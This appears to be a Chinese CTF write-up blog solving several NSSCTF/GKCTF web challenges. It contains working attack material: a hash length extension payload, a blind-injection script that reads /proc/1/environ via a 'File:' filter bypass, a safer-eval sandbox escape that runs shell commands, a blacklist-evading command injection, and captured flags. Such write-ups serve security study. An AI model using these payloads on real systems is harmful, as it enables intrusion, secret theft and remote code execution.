1 2 3 4 5 def checkSign (self ): if (getSign (self .action, self .param) == self .sign): return True else : return False
1 2 task = Task (action, param, sign, ip) return json.dumps (task.Exec ())
题目给了提示
那么我们接下来的思路是利用scan将flag.txt写入result.txt,同时会print flag.txt的内容,我们先构造这个。
首先访问/geneSign路由,获取secret_key+flag.txt+scan的hash值a95501825b9d23020a8f670b281649fa
然后在/De1ta路由下构造action为scan,param为flag.txt,sign为a95501825b9d23020a8f670b281649fa。
只print了一个状态码。。。突然想起来要print resp.text才行。。那么就需要read了,但是我们能获取的hash值必定带有scan。这时我们突然注意到:
1 if "read" in self.action:
那么我们可以构造action为scanread
secret_key+flag.txt+scan的hash值是已知的。
在/De1ta路由下构造action为scanxxxxxxxread,param为flag.txt,进行哈希长度拓展攻击。
signature:a95501825b9d23020a8f670b281649fa
data:scan
key length:24
data to add:read
2d970424e20612e377913e4a9ea324af
scan\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x00\x00\x00\x00\x00\x00read
在/De1ta路由下构造action为scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%e0%00%00%00%00%00%00%00read
param为flag.txt,sign为2d970424e20612e377913e4a9ea324af
发现不行。。。
重新捋一下思路:
有read,有scan就可以
访问/geneSign路由,param为flag.txtread
那么获取secret_key+flag.txt+readscan的hash值523423f97fa7df58aec22413b39fd8f2
在/De1ta路由下构造action为readscan,param为flag.txt不就好了。。。
直接出了
1 NSSCTF{2ef1cb7c-7d09-49ed-abe6-451e0b4bf48e}
接下来再回顾一下hash长度拓展攻击,还是得学。
成功了,密钥24位,有点不是很清楚,
1 2 len(secert_key) = 16 16 + len('scan') + len('read') = 24 = Key Length
prize_p4 这道题还是比较简单的,我卡在了一个点上
1 2 3 4 5 @app.route('/getkey', methods=["GET"]) def getkey(): if request.method != "GET": session["key"]=SECRET_KEY
这里可以用与GET相似的方法HEAD来绕过。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 from flask import Flask, request, session, render_template, url_for,redirect,render_template_stringimport base64import urllib.requestimport uuidimport flag SECRET_KEY=str (uuid.uuid4()) app = Flask(__name__) app.config.update(dict ( SECRET_KEY=SECRET_KEY, )) @app.route('/' ) @app.route('/index' ,methods=['GET' ] ) def index (): return render_template("index.html" ) @app.route('/get_data' , methods=["GET" ,'POST' ] ) def get_data (): data = request.form.get('data' , '123' ) if type (data) is str : data=data.encode('utf8' ) url = request.form.get('url' , 'http://127.0.0.1:8888/' ) if data and url: session['data' ] = data session['url' ] = url session["admin" ]=False return redirect(url_for('home' )) return redirect(url_for('/' )) @app.route('/home' , methods=["GET" ] ) def home (): if session.get("admin" ,False ): return render_template_string(open (__file__).read()) else : return render_template("home.html" ,data=session.get('data' ,'Not find data...' )) @app.route('/getkey' , methods=["GET" ] ) def getkey (): if request.method != "GET" : session["key" ]=SECRET_KEY return render_template_string('''@app.route('/getkey', methods=["GET"]) def getkey(): if request.method != "GET": session["key"]=SECRET_KEY''' )@app.route('/get_hindd_result' , methods=["GET" ] ) def get_hindd_result (): if session['data' ] and session['url' ]: if 'file:' in session['url' ]: return "no no no" data=(session['data' ]).decode('utf8' ) url_text=urllib.request.urlopen(session['url' ]).read().decode('utf8' ) if url_text in data or data in url_text: return "you get it" return "what ???" @app.route('/getflag' , methods=["GET" ] ) def get_flag (): res = flag.waf(request) return res if __name__ == '__main__' : app.run(host='0.0.0.0' , debug=False , port=8888 )
思路就是通过/get_hindd_result路由进行盲注。
因为直接getflag他没回显啊?!
file过滤可以大小写绕过
尝试一下File:///proc/1/environ NSSCTF发现可行
接下来编写盲注脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 import stringimport requestspayload_sum=string.ascii_lowercase+string.digits+'{}-' print (payload_sum)target='http://node4.anna.nssctf.cn:28374/' payload_data="NSSCTF{" payload_url="File:///proc/1/environ" target_get_data=target+'get_data' target_get_flag=target+'get_hindd_result' for i in range (50 ): for j in payload_sum: temp=payload_data+j session = requests.session() session.post(target_get_data,data={'data' :temp,'url' :payload_url,'submit' :'%E6%8F%90%E4%BA%A4' }) response=session.get(target_get_flag,cookies={'session' :str (session.cookies.values())[2 :-2 ]}) if 'you get it' in response.text: payload_data+=j print (payload_data) break else : print ('bad!' ) break
脚本编写能力还是太差了,写了半天。。。
1 NSSCTF{710ce1eb-8431-41e6-83fa-3213a14db9fc}
[GKCTF 2020]ez三剑客-easynode
发现一个safer-eval 1.3.6版本,存在沙箱逃逸的漏洞。
下面看看源代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 const express = require ('express' );const bodyParser = require ('body-parser' );const saferEval = require ('safer-eval' ); const fs = require ('fs' );const app = express ();app.use (bodyParser.urlencoded ({ extended : false })); app.use (bodyParser.json ()); app.use ((req, res, next ) => { if (req.path === '/eval' ) { let delay = 60 * 1000 ; console .log (delay); if (Number .isInteger (parseInt (req.query .delay ))) { delay = Math .max (delay, parseInt (req.query .delay )); } const t = setTimeout (() => next (), delay); setTimeout (() => { clearTimeout (t); console .log ('timeout' ); try { res.send ('Timeout!' ); } catch (e) { } }, 1000 ); } else { next (); } }); app.post ('/eval' , function (req, res ) { let response = '' ; if (req.body .e ) { try { response = saferEval (req.body .e ); } catch (e) { response = 'Wrong Wrong Wrong!!!!' ; } } res.send (String (response)); }); app.get ('/source' , function (req, res ) { res.set ('Content-Type' , 'text/javascript;charset=utf-8' ); res.send (fs.readFileSync ('./index.js' )); }); app.get ('/version' , function (req, res ) { res.set ('Content-Type' , 'text/json;charset=utf-8' ); res.send (fs.readFileSync ('./package.json' )); }); app.get ('/' , function (req, res ) { res.set ('Content-Type' , 'text/html;charset=utf-8' ); res.send (fs.readFileSync ('./index.html' )) }) app.listen (80 , '0.0.0.0' , () => { console .log ('Start listening' ) });
在/eval路由下存在safeeval的rce,但是if (req.path === ‘/eval’) {,此处存在大时间的延迟,然而他是考setTimeout来进行的,可以通过
大于2147483647的数来绕过。
1 2 3 4 5 e=(function () { const process = clearImmediate.constructor('return process;')(); return process.mainModule.require('child_process').execSync('ls /').toString()})()
1 NSSCTF{970473a7-7ad6-4826-9a42-492ec0dcf96a}
[NSSRound#V Team]PYRCE 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from flask import Flask, request, make_response import uuid import os app = Flask(__name__) def waf (rce ): black_list = '01233456789un/|{}*!;@#\n`~\'\"><=+-_ ' for black in black_list: if black in rce: return False return True @app.route('/' , methods=['GET' ] ) def index (): if request.args.get("Ňśś" ): nss = request.args.get("Ňśś" ) if waf(nss): os.popen(nss) else : return "waf" return "/source" @app.route('/source' , methods=['GET' ] ) def source (): src = open ("app.py" , 'rb' ).read() return src if __name__ == '__main__' : app.run(host='0.0.0.0' , debug=False , port=8080 )
1 ?Ňśś=cp $(cd ..&&cd ..&&cd ..&&cd ..&&echo $(pwd)flag) app.py
1 ?Ňśś=cp%09%24%28cd%09..%26%26cd%09..%26%26cd%09..%26%26cd%09..%26%26echo%09%24%28pwd%29flag%29%09app.py